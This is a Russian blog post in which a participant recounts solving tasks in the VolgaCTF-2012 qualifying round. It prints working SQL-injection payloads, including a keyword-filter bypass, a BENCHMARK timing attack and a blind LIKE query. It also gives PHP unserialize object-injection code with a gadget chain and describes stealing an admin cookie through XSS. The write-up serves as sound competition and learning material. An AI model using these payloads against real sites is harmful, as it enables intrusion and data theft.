Pull to refresh

VolgaCTF глазами участника

Reading time9 min
Views5.4K
image
15 апреля завершился отборочный этап соревнований в области информационной безопасности VolgaCTF-2012, в котором принимали участие 29 команд из различных городов Приволжского Федерального округа. Командам давалось 48 часов, на решение задач в областях:

  • Crypto –криптографические задачи;
  • Web – разнообразные веб-уязвимости;
  • Reverse engineering –обратная разработка программ;
  • StegaSic (Steganography & Forensic) – стеганография и исследования в области компьютерных преступлений;
  • PPC (Professional programming and coding) – различные задачи на программирование;
  • Joy – задачи на общую эрудицию в области информационной безопасности;
  • Blackbox Admin – задачи на администрирование сетей;

Хочется поделиться с вами своими впечатлениями и написать как выглядят такие соревнования именно со стороны участника.

В первую очередь, выражаю огромную благодарность организаторам этого конкурса и админам за шикарные задания, которые не были простыми, но были интересными.
В подобного рода соревнованиях наша команда участвовала впервые. Начало соревнований было задержано на час, за это время мы успели расположится поудобнее, настроить компьютеры и немного настроить себя различными шутками и разговорами ни о чем.
Админами был поднят VPN сервер, розданы ключи для подключения командам и игра началась!

13.04 19:00
Командам вручили внутренний и внешний адрес сайта с заданиями. Мы распределили задания внутри команды и начали работать.

Уровень 100 по областям сильно различался по сложности. Два задания были решены сходу:
1) Была дана html страница с большой таблицей. Каждая ячейка таблицы содержала свой цвет, после небольшой игры с css, была получена картинка с островом, перевели в JPG, загрузили в Google и нашли название острова, которое оказалось ключом
2)Нам прислали архив, в котором хранились фотографии известных пиратов и хакеров, необходимо было узнать их полные имена и отправить организаторам. С помощью Google и небольшой работы с графическим редактором быстро нашли.

13.04 19:20
Гораздо более интересными оказались задачи на нахождение и эксплуатацию уязвимостей в web сайтах. Первой мишенью был пиратский блог, рассказывающий о рангах пиратского братства. Уже через пятнадцать минут команды соперники внедрили код скрывающий содержимое некоторых частей страницы. Это дало нам информации о наличии XSS уязвимостей. Позднее мы заметили, что блоги регулярно обновлялись, добавлялись новые топики. Хотя скорее всего информацию обновляла программа (как нам казалось) решили попробовать эксплуатировать XSS уязвимость и стандартными методами получить cookie пользователя с правами администратора. На поднятом в интернете снифере отображалась только информация о участниках других команд, но мы не сдались. Перенастроили XSS на IP адрес внутри VPN и анализатор трафика обнаружил попытку подключения администратора. Ключ был взят!

Менее успешно решались задачи на криптографию, реверс, профессиональное программирование (ppc), которое мы тут же окрестили коротким и простым словом «ппц».
В задаче из области PPC ребята сразу узнали обратную польскую нотацию. Из — за большого объема работы начали писать программу обработчик не сразу, потребовалось достаточно много времени на разработку и отладку. Ответ получили лишь на следующий день.
Не осилили казалось бы простую задачу на crypto100.

13.04 20:30
Получили классическое задание из области Joy.

Не стали искать скрытый смысл и зашифрованные архивы, решили сначала попробовать сделать то, что просят на фотографии. Сфотографировались, отослали, заработали свои 200 баллов)Правда, пришлось немного пофотошопить — добавить пиратскую атрибутику, но результат получился отменным)
Примерно в это же время решили задачу с Web200, где в robots.txt была оставлена ссылка на администраторскую.

13.04 21:15
К сожалению, ночью находиться в университете не разрешается, поэтому нашу команду попросили освободить помещение. Полные сил и боевого духа мы отправились на квартиру, чтобы там продолжить решать задачи.

13.04 22:30
Примерно в это время открыли первое задание на администрирование. В распоряжение был дан сервер. Открытых портов было больше тысячи. Начали искать зацепки. Запрос на 1000 порт возвращал всегда «P». Запрос на 1001 порт после обращения на 1000 порт всегда «i». Аналогичная ситуация была на 1002, 1003, и т.д. портах. Соединенные подряд буквы с 1000 по 1005 порт давали слово «Pirat». Запрос на 1000 порт сбрасывал порядок следования символов. При большой задержке между обращениями на соседние порты алгоритм не работал.

Этап сбора информации показал, что необходимо писать программу для перебора и вывода информации на всех портах сервера. Простая программа на perl вскоре была написана. Результатом ее работы был текст на английском языке, после нескольких десятков тысяч символов лежал ключ к заданию.

13.04 23:45
Теперь мне хотелось бы рассказать о действительно интересных и оригинальных задачах из области web.
3 задание ссылалось на сайт пиратского бара.

Беглый просмотр сайта не дал видимых уязвимостей. Глаз остановился на скрытом комментарии в html коде.
Сайт адаптирован для пиратского браузера
Ведется учет пользователей

Поиск в интернете «Пиратского браузера» и подстановка в User — Agent всех возможных названий не дал результата. Но вскоре обнаружили SQL-injection в этом поле. Казалось бы ничего сложного, но это была Insert injection. Интересным оказалось то, что команды типа SELECT,OR,WHERE,ORDER,GROUP,AND вырезались, приходилось запрос типа

SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_NAME LIKE 'k%'

приводить к виду

SELSELECTECT TABLE_NAME FRFROMOM infoORrmation_schema.tables WHWHEREERE TABLE_NAME LIKE 'k%'

Что еще было интересным, параметр key в COOKIE, который всегда занулялся.
Результат выполнения нигде не отображался (хотя может быть мы не нашли), просто записывался в БД. INTO OUTFILE и другие методы не работали, пришлось прибегать к нестандартным. Решение было отложено до утра.

Первым что пришло в голову, приводить к ошибке скрипт в случаях, когда количество строк удовлетворяющих условию подзапроса равно нулю. Первым попробовал разделить действительное число на COUNT(*), но в случаях когда COUNT(*) был равен нулю, MySQL это спокойно проглатывал.
Поиск MySQL — функций, в которых должны быть обязательные параметры результата не дал.
Зато получилось использовать так называемую timing attack. Запрос для поиска названия таблицы в которой мог бы быть ключ был преобразован к виду.

pirat'),((SELSELECTECT if(COUNT(*)!=0,BENCHMARK(100000000000,NOW()),1) FRFROMOM infoorrmation_schema.tables WHERE TABLE_NAME LIKE 'k%'))#

Грубо говоря, если не находится ни одной строчки удовлетворяющей условию, сайт открывается медленно, если есть, то быстро. Медленную скорость работы обеспечивает функция BENCHMARK 10000000000 раз повторяющая типовую операцию.

От поиска через LIKE сначала отказался в сторону SUBSTR(TABLE_NAME,1,1)>'a'. Перебирать по одной букве было долго, так можно было задавать диапазон. (прим. Можно было реализовать скрипт который автоматизирует эти действия) После подбора нескольких первых букв названия таблицы вспомнил о существовании функции REGEXP(), с помощью которой можно задавать поиск регулярными выражениями, подбор букв стал гораздо проще. Аналогичными действиями нашел помимо названия таблицы с флагом, название поля с флагом и сам флаг, в общей сложности ручным бинарным поиском пришлось перебрать около 25 символов.
Найденным ключем оказалось слово 'elpirata', которое не подходило как ответ к заданию. Но установка в COOKIE переменной key с этим словом позволило получить ключ от задания.

14.04 02:00
После не первой кружки кофе командой была решена задача с поиском exploit'a в PDF файле, потрачен не один час на поиск ключа в wav файле (который оказался на краю спектра сигнала), расшифрована вот такая вот gif-ка:

Которая при определенных условиях сигнальными флагами передавала сообщение содержащее ключ к заданию.
В одном из заданий, содержащем много текста в графическом JPEG-файле размером 35 МБ увидели фонтан.
14.04 05:00
В том же задании, увидели пальму, поняли что пора идти спать…
Вот это задание…

14.04 11:00
Пришли в университет и начали работать по ранее незаконченным заданиям.
14.04 15:00
Мы получили интересное задание из области WEB 400 уровня. Для поиска уязвимостей была подготовлена пара сайтов.

На первом сервере был сайт посвященный сокровищам, второй содержал в себе сайт веб-студии. Перебором входных параметров была обнаружена слепая SQL-injection, в которой невозможно было использовать команду UNION. Случайным перебором известных слов нашлась таблица user, с полями id и user содержащей 1 запись.

В отличии от предыдущего задания не работала функция REGEXP и нами был разработан скрипт перебирающий буквы в LIKE.
Итоговый запрос к БД:
0 OR (SELECT user from user where user like 'adm%') LIKE '%'
Вместо слова adm в запросе выше скрипт подставлял различные комбинации букв, в случае нахождения пользователя начинающегося на заданную комбинацию, содержимое на странице выводилось.
Найдя пользователя были слегка удивлены. Ник оказался postgres. Логично было предположить, что использовалась СУБД PostgresSQL.
Чтение документации по данной СУБД, помогло нам найти таблицу заменяющую таблицу в information_schema в mysql, а с ее помощью имя поля таблицы user, содержащее пароль. Данный пароль хранился в md5, после расшифровки получалось 16 символьное postgrespostgres. К панели администратора сайта данный логин не подошел, что ввело в ступор. Панель управления БД на удаленном сервере не нашли, доступ из вне был закрыт. Достаточно обидно было иметь логин от БД, но невозможность к ней подключится.

Стали подбирать названия таблиц и нашли таблицу administrators, содержащую уже сам логин от панели администратора сайта. В панели администратора нас ждал исходный код пары страниц сайта, доступ к которому необходимо было получить. На этих страницах была возможность читать функцией fread файлы заданные в _GET если знать к ним адрес. Была скрытая ссылка на папку, открытую для листинга из браузера и не содержащую файлов.

Перебрали и просмотрели все стандартные папки конфигураций для unix систем, пробовали получить доступ к .bash_history и access_log, но безрезультатно. К счастью, вскоре обнаружили файл .htaccess в скрытой папке. В нем стояло правило на запрет отображения файла с флагом в листинге директории. Загрузка скрытых файлов отобразила зашифрованный JavaScript код. Начали расстраиваться что задание затянется, но через минуту на странице выполнился alert, содержащий флаг от задания.
На все задание ушло 5 часов.

Увидев в web500 задание с basic authorization при входе на сайт, решили отложить.


В этот день остальными участниками команды были решены интересные задачи, в т.ч. на администрирование с повышением привилегий, одну из задач на криптографию и интересную задачу про торренты. В каждом скачанном торренте рекурсивно предлагалось скачать другие торренты, после сборки всех частей получался образ Slax, в ней был ключ.

14.04 20:00
Наша команда лидировала, уставшие разошлись домой. Решили хорошо выспаться, хотя за ночь кто-то все же выполнил ряд задач.

15.04 11:00
В последний день решили всего две задачи 5 уровня, за которые давалось больше всего баллов.
Обе задачи были интересными, поэтому хотелось бы о них подробно рассказать.

Задача web500, отложенная вчера поддалась. Замечено, что если отправить POST данные на файл index.php, то страница отдавалась.



Интуиция говорила, что просто не будет. Ни о каких распространенных уязвимостях речи быть не может. Не открывшаяся картинка, оказалась base64 закодированной png улыбающегося troll-face пирата. Поиск похожих картинок дал картинку идентичного размера холста, но другого размера на диске. Поиск скрытой информации в файле не дал результата.
Немного отчаявшись вбил в адресную строку адрес /index.php.bak и получил код исходной страницы, что скорее расстроило, ведь он был неплохо обфусцирован.

Глаза боятся, а руки делают… Расшифровал.
	function __autoload($classname) {
		$classpath = './inc/class/'.$classname.'.php';
		if(file_exists($classpath))
			include $classpath;
	}
	
	

	require_once('inc/config.php');
	echo '<!DOCTYPE html><center><form method="POST"><input name="login" type="text"><input name="password" type="text"><br><input type="submit"></form></center>';
	if(isset($_POST['login'],$_POST['password'])) {
		// TODO
		echo underconstruction();
	} elseif(isset($_COOKIE['auth'])) {
		$auth = unserialize((string)$_COOKIE['auth']);
		if(isset($auth['login'],$auth['password'],$auth['name']) and ($auth['login'] === 'pirate') and ($auth['password'] === 'pirate1')) {
			echo "Привет, {$auth['name']}!";
		} else {
			echo "<center>Ты не пройдешь, пират!</center>";
		}
	}

Внимательный читатель заметит уязвимую связку строки echo «Привет, {$auth['name']}!»; и __autoload'а

Вскоре был написан скрипт, который подготавливал данные сохранения в cookie, после unserialize которых в переменной $auth['name'] находился объект неизвестного класса. Это вызывало функцию autoload, и выполнение уязвимости типа php-injection.

$value=new arrayObject();
$value->offsetSet('login','pirate');
$value->offsetSet('password','pirate1');
$value->offsetSet('name',new index);
$value=serialize($value);
echo 'auth='.urlencode($value).';';

Загрузка индексного файла вернула список файлов в папке. Вскоре были получены исходники других файлов с классами проекта.

Обрадовал и придал сил класс Flag, который говорил, что осталось еще немного.
<?php
	class Flag {
		public static $flag = "FLAG";

		public function getFlags() {
			return array(self::$flag);
		}
	}
?>

Исследование других классов позволило выявить еще уязвимости.
В частности важным оказалось то, что класс textbox содержит функцию
                function __toString() {
                        return $this->obj->printObj();
                }

Object содержит функцию
              public function printObj() {
                        return serialize($this);
                }

User содержит функцию
                 public function __sleep() {
                        return $this->login->{$this->password}();
                }

В итоге для передачи скрипту была составлена конструкция, вернувшая ключ. (прим. на самом деле в классе user нашли ошибку в названии функции __contuct() и до исправления разработчиками не работало ;)
$value->offsetSet('name',new Textbox(new Object(new User(new Flag,'getFlags'))));

На все задание ушло 7 часов.

Параллельно нам другая часть команды нашла решение к оригинальному заданию Joy500.
Скрипт выбирал случайных девушек с сайта vk.com. Участники команды должны были попросить их зарегистрироваться на сайте, разработанном для конкурса.
Вроде бы ничего сложного,

Смотрим сайт, на который необходимо заманивать, видим окно:

Потом это:

И сам сайт:

На фоне играет зловещая музыка, перед регистрацией нужно подождать 333 секунды. Все это время выходят модальные окна.В общем сатанинский сайтик) Не так — то просто было уговорить незнакомых девушек зарегистрироваться.

На этом закончу рассказ о VolgaCTF. Наша команда победила с хорошим отрывом, получила много опыта, получила путевку в Самару на очный тур лето. А еще мы развели админов на классные футболки.
Командная фотография в ответ на Joy200.
Tags:
Hubs:
Total votes 26: ↑24 and ↓2+22
Comments11

Articles